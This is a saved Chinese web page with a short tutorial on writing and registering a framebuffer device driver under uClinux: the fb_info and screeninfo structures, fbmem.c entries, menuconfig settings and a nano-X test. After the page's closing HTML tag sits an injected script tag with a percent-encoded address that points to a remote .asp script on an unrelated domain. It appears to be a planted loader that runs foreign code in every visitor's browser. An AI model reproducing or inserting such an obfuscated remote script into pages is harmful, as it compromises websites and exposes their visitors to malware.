📄 uclinux 下如何写framebuffer 设备驱动 - 免费资源,软件下载,程序开发,网站制作,电脑教程,.htm
字号:
href="http://www.94hh.com/webelec/article/15/79/index.htm">linux移植</A>]
<A class=showlist title=如何监控和保护Linux下进程安全
href="http://www.94hh.com/webelec/article/15/79/Article_749.htm"
target=_blank>如何监控和保..</A></TD>
<TD class=showlist2></TD></TR>
<TR>
<TD class=showlist1>· [<A
href="http://www.94hh.com/webelec/article/15/79/index.htm">linux移植</A>]
<A class=showlist title="升级、编译自己的内核—— Debian篇"
href="http://www.94hh.com/webelec/article/15/79/Article_748.htm"
target=_blank>升级、编译自..</A></TD>
<TD class=showlist1></TD></TR>
<TR>
<TD class=showlist2>· [<A
href="http://www.94hh.com/webelec/article/15/79/index.htm">linux移植</A>]
<A class=showlist title="Gentoo 2005.0 AMD64安装过程中遇到的问题以及解决办法"
href="http://www.94hh.com/webelec/article/15/79/Article_747.htm"
target=_blank>Gentoo 2005..</A></TD>
<TD class=showlist2></TD></TR>
<TR>
<TD class=showlist1>· [<A
href="http://www.94hh.com/webelec/article/15/79/index.htm">linux移植</A>]
<A class=showlist title=Gentoo下的多音频流完整解决方案
href="http://www.94hh.com/webelec/article/15/79/Article_746.htm"
target=_blank>Gentoo下的多..</A></TD>
<TD class=showlist1></TD></TR>
<TR>
<TD class=showlist2>· [<A
href="http://www.94hh.com/webelec/article/15/79/index.htm">linux移植</A>]
<A class=showlist title=icewm+rox-filer美化过程
href="http://www.94hh.com/webelec/article/15/79/Article_745.htm"
target=_blank>icewm+rox-f..</A></TD>
<TD class=showlist2></TD></TR>
<TR>
<TD class=showlist1>· [<A
href="http://www.94hh.com/webelec/article/15/79/index.htm">linux移植</A>]
<A class=showlist title=CheckInstall-便民的源码安装工具
href="http://www.94hh.com/webelec/article/15/79/Article_744.htm"
target=_blank>CheckInstal..</A></TD>
<TD class=showlist1></TD></TR>
<TR>
<TD class=showlist2>· [<A
href="http://www.94hh.com/webelec/article/15/79/index.htm">linux移植</A>]
<A class=showlist title=Linux解释器原理
href="http://www.94hh.com/webelec/article/15/79/Article_743.htm"
target=_blank>Linux解释器..</A></TD>
<TD class=showlist2></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD bgColor=#ffffff height=2></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD class=titleback1>相关电子文章</TD></TR>
<TR>
<TD vAlign=top height=100>· <A title="Linux Introduction"
href="http://www.94hh.com/webelec/article/15/79/Article_495.htm">Linux
Introduction..</A><BR>· <FONT color=#ff0066>[组图]</FONT> <A
title=用UC3842芯片设计开关电源
href="http://www.94hh.com/webelec/article/18/Article_478.htm">用UC3842芯片..</A><BR>·
<FONT color=#ff0066>[组图]</FONT> <A title=UC3875在超声电源功率控制系统中的应用
href="http://www.94hh.com/webelec/article/18/Article_440.htm">UC3875在超声..</A><BR>·
<FONT color=#ff0066>[组图]</FONT> <A
title=用NCP1200代换脉宽调制控制器UC3842的应用电路
href="http://www.94hh.com/webelec/article/18/Article_424.htm">用NCP1200代换..</A><BR>·
<FONT color=#ff0066>[组图]</FONT> <A title=初级启动控制器UCC3960及其应用
href="http://www.94hh.com/webelec/article/18/Article_407.htm">初级启动控制..</A><BR>·
<FONT color=#ff0066>[组图]</FONT> <A title=锂离子电池保护电路UCC3957
href="http://www.94hh.com/webelec/article/18/Article_378.htm">锂离子电池保..</A><BR>·
<FONT color=#ff0066>[组图]</FONT> <A title=开关电源(Buck电路)的小信号模型及环路设计
href="http://www.94hh.com/webelec/article/18/Article_363.htm">开关电源(Bu..</A><BR>·
<A title="uClinux中Makefile文件整体分析 (zz)"
href="http://www.94hh.com/webelec/article/15/79/Article_311.htm">uClinux中Makefile文..</A><BR>·
<A title=ARM/uClinux应用程序的开发-
href="http://www.94hh.com/webelec/article/15/79/Article_310.htm">ARM/uClinux应用程序..</A><BR>·
<A title="ARM/uClinux开发环境的建立- -"
href="http://www.94hh.com/webelec/article/15/79/Article_309.htm">ARM/uClinux开发环境..</A><BR></TD></TR></TBODY></TABLE></TD>
<TD class=tableright align=right width=588>
<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=0
cellPadding=0 width=575 border=0>
<TBODY>
<TR>
<TD style="FONT-SIZE: 14pt; COLOR: #ff0000" align=middle
height=32>uClinux 下如何写framebuffer 设备驱动</TD></TR>
<TR>
<TD align=middle bgColor=#f7f7f7
height=25>作者:佚名 来源:不详 发布时间:2006-9-2
10:47:43 发布人:zangyl</TD></TR>
<SCRIPT language=javascript>
var newasp_fontsize=9;
var newasp_lineheight=12;
</SCRIPT>
<TR>
<TD>
<P align=right><A title=减小字体
style="CURSOR: hand; POSITION: relative"
onclick='if(newasp_fontsize>8){NewaspContentLabel.style.fontSize=(--newasp_fontsize)+"pt";NewaspContentLabel.style.lineHeight=(--newasp_lineheight)+"pt";}'><IMG
height=15
src="uClinux 下如何写framebuffer 设备驱动 - 免费资源,软件下载,程序开发,网站制作,电脑教程,.files/1.gif"
width=15 border=0><FONT color=#ff6600>减小字体</FONT></A> <A title=增大字体
style="CURSOR: hand; POSITION: relative"
onclick='if(newasp_fontsize<64){NewaspContentLabel.style.fontSize=(++newasp_fontsize)+"pt";NewaspContentLabel.style.lineHeight=(++newasp_lineheight)+"pt";}'><IMG
height=15
src="uClinux 下如何写framebuffer 设备驱动 - 免费资源,软件下载,程序开发,网站制作,电脑教程,.files/2.gif"
width=15 border=0><FONT color=#ff6600>增大字体</FONT></A> </P>
<DIV class=ContentFont id=NewaspContentLabel
style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><FONT
id=font_word
style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif"><FONT
face=Verdana>
<P><BR>下面的内容主要是关于framebuffer 的一些知识, 主要是根据我们实际开发过程中的一些体会,其中难免错漏之处,
欢迎指正。</P>
<P><FONT size=3>什么是framebuffer 设备</FONT><BR>framebuffer
是一种能够提取图形的硬件设备,是用户进入图形界面很好的接口。有了framebuffer,用户的应用程序不需要对底层的驱动的深入了解就能够做出很好的图形。对于用户而言,它和/dev
下面的其他设备没有什么区别,用户可以把framebuffer
看成一块内存,既可以向这块内存中写入数据,也可以从这块内存中读取数据。<BR>第一个被注册的framebuffer 的minor
等于0,第二个被注册的framebuffer的minor 等于1,以此类推。</P>
<P><BR><FONT size=2>framebuffer 内部结构</FONT><BR>数据结构:framebuffer
设备很大程度上依靠了下面四个数据结构。这三个结构<BR>在fb.h 中声明。<BR>Struct
fb_var_screeninfo<BR>Struct fb_fix_screeninfo<BR>Struct
fb_info<BR>第一个结构是用来描述图形卡的特性的。通常是被用户设置的。<BR>第二个结构定义了图形卡的硬件特性,
是不能改变的,用户选定了哪一个图形卡,那么它的硬件特性也就定下来了。第三个结构定义了当前图形卡framebuffer
设备的独立状态,一个图形卡可能有两个framebuffer, 在这种情况下,就需要两个fb_info
结构。这个结构是唯一在内核空间可见的。</FONT></P>
<P><FONT face=Verdana size=3>设计自己的framebuffer 设备驱动</FONT></P>
<P><FONT face=Verdana>用户首先需要添加下面的代码到fbmem.c<BR>static struct
{<BR>const char *name;<BR>int (*init)(void);<BR>int
(*setup)(char*);<BR>} fb_drivers[] __initdata = {<BR>#ifdef
CONFIG_FB_YOURCARD<BR>{ "driver_name", xxxfb_init, xxxfb_setup
},<BR>#endif<BR>其次在xxfb.c 中根据自己的需要重新分配显存大小。例如: #define VIDEOMEMSIZE
(1*1024*1024) /* 1 MB */再次根据自己的硬件设备修改相应的var
信息。主要修改xxfb_set_var(struct fb_var_screeninfo *var, int con, struct
fb_info *info)函数。</FONT></P>
<P><FONT face=Verdana size=3>如何添加framebuffer 设备驱动</FONT></P>
<P><FONT face=Verdana> 首先在config.in
文件中添加一行代表用户自己驱动的选项。具体做法请参考config.in的帮助文档。<BR> 在make
menuconfig 的时候首先进入Character devices,选中里面的Virtual terminal 和Support
for console on virtual terminal.退到上一层界面我们就可以看到Console device
的选项,进入后将光标落在Framebuffer Support
上,按回车键进入,在里面选择自己所需要的framebuffer设备即可。自己所添加的设备驱动的类型(如果在uclinux
下,应该以*选中,而不是M选中),在编译的时候就会产生相应的o文件。<BR></FONT><FONT
face=Verdana> 在Advanced low level 中可以配置bpp packed pixel
support,然后选中Select compiled-in fonts 即可。等操作系统运行以后就会在/dev 下面看到fb
这个设备。它的major 应该是29,第一个设备的minor 应该是0。</FONT></P>
<P><FONT face=Verdana size=3>如何使用framebuffer 设备</FONT></P>
<P><FONT face=Verdana> 我们可以在几个支持图形显示的平台上开发一些图形界面。例如micro<A
class=wordstyle href="http://www.94hh.com/"
target=_blank>windows</A>,minigui,Qtembed,等等。在这里我们就不详细介绍具体做法,感兴趣的朋友可以到我们网站上下载。这里我们假设用户已经通过tftp
或者mount 命令将测试例子demo 传到/var/test 目录下。在/test 目录下启动后台服务程序./nano-X
&,这时可以看到屏幕有一个闪动,然后会变为黑色,接着就可以运行测试程序了,执行./demo 即可.</FONT></P>
<DIV class=Message id=Message></DIV></FONT></DIV>
<DIV></DIV></TD></TR>
<TR>
<TD
style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"
align=right bgColor=#f7f7f7 height=25>[
<SCRIPT language=JavaScript
src="uClinux 下如何写framebuffer 设备驱动 - 免费资源,软件下载,程序开发,网站制作,电脑教程,.files/Hits.htm"></SCRIPT>
] [<A href="javascript:history.go(-1)">返回上一页</A>] [<A
href="javascript:window.print()">打 印</A>] [<A
href="http://www.94hh.com/webelec/user/favorite.asp?action=add&topic=uClinux 下如何写framebuffer 设备驱动">收
藏</A>]</TD></TR>
<TR>
<TD
style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
<DIV>上一篇电子文章:<A
href="http://www.94hh.com/webelec/article/15/79/Article_227.htm">LINUX动态链接库高级应用(转贴)</A></DIV>
<DIV>下一篇电子文章:<A
href="http://www.94hh.com/webelec/article/15/79/Article_229.htm">基于P89C51RD2单片机控制的智能化路灯节能装置的设计</A></DIV></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=575 border=0>
<TBODY>
<TR>
<TD class=titlebg1>∷相关电子文章评论∷ (评论内容只代表网友观点,与本站立场无关!) [<A
href="http://www.94hh.com/webelec/article/comment.asp?ArticleID=228"
target=_blank>更多评论</A>…]</TD></TR>
<TR vAlign=top>
<TD></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><!-- 页面底部开始 -->
<TABLE class=tableborder cellSpacing=0 cellPadding=0 width=778 align=center
border=0>
<TBODY>
<TR>
<TD height=5></TD></TR>
<TR>
<TD class=linebar height=8></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD class=tablebody align=middle height=65><A class=navmenu
href="http://www.94hh.com/webelec/support/about.asp">关于本站</A> ┆ <A
class=navmenu
href="http://www.94hh.com/webelec/support/help.asp">网站帮助</A>┆ <A
class=navmenu
href="http://www.94hh.com/webelec/support/advertise.asp">广告合作</A>┆ <A
class=navmenu
href="http://www.94hh.com/webelec/support/declare.asp">下载声明</A> ┆ <A
class=navmenu href="http://www.94hh.com/webelec/link/"
target=_blank>友情连接</A> ┆ <A class=navmenu
href="http://www.94hh.com/webelec/support/sitemap.asp">网站地图</A> ┆ <A
class=navmenu href="http://www.94hh.com/webelec/admin/admin_login.asp"
target=_blank>管理登录</A> <BR>Copyright © 2002-2006 <A
href="http://ele.94hh.com/" target=_blank><FONT face=Verdana, sans-serif
Helvetica, Arial,><B>94hh<FONT color=#cc0000>.com</FONT></B></FONT></A>.
All Rights Reserved . <BR><BR>
<DIV>
<SCRIPT language=JavaScript
src="uClinux 下如何写framebuffer 设备驱动 - 免费资源,软件下载,程序开发,网站制作,电脑教程,.files/stat.htm"
charset=gb2312></SCRIPT>
</DIV></TD></TR></TBODY></TABLE>
<SCRIPT language=javascript
src="uClinux 下如何写framebuffer 设备驱动 - 免费资源,软件下载,程序开发,网站制作,电脑教程,.files/Std_StranJF.Js"></SCRIPT>
<!-- 页面底部结束 -->
<SCRIPT
src="uClinux 下如何写framebuffer 设备驱动 - 免费资源,软件下载,程序开发,网站制作,电脑教程,.files/count.htm"
type=text/javascript></SCRIPT>
</BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -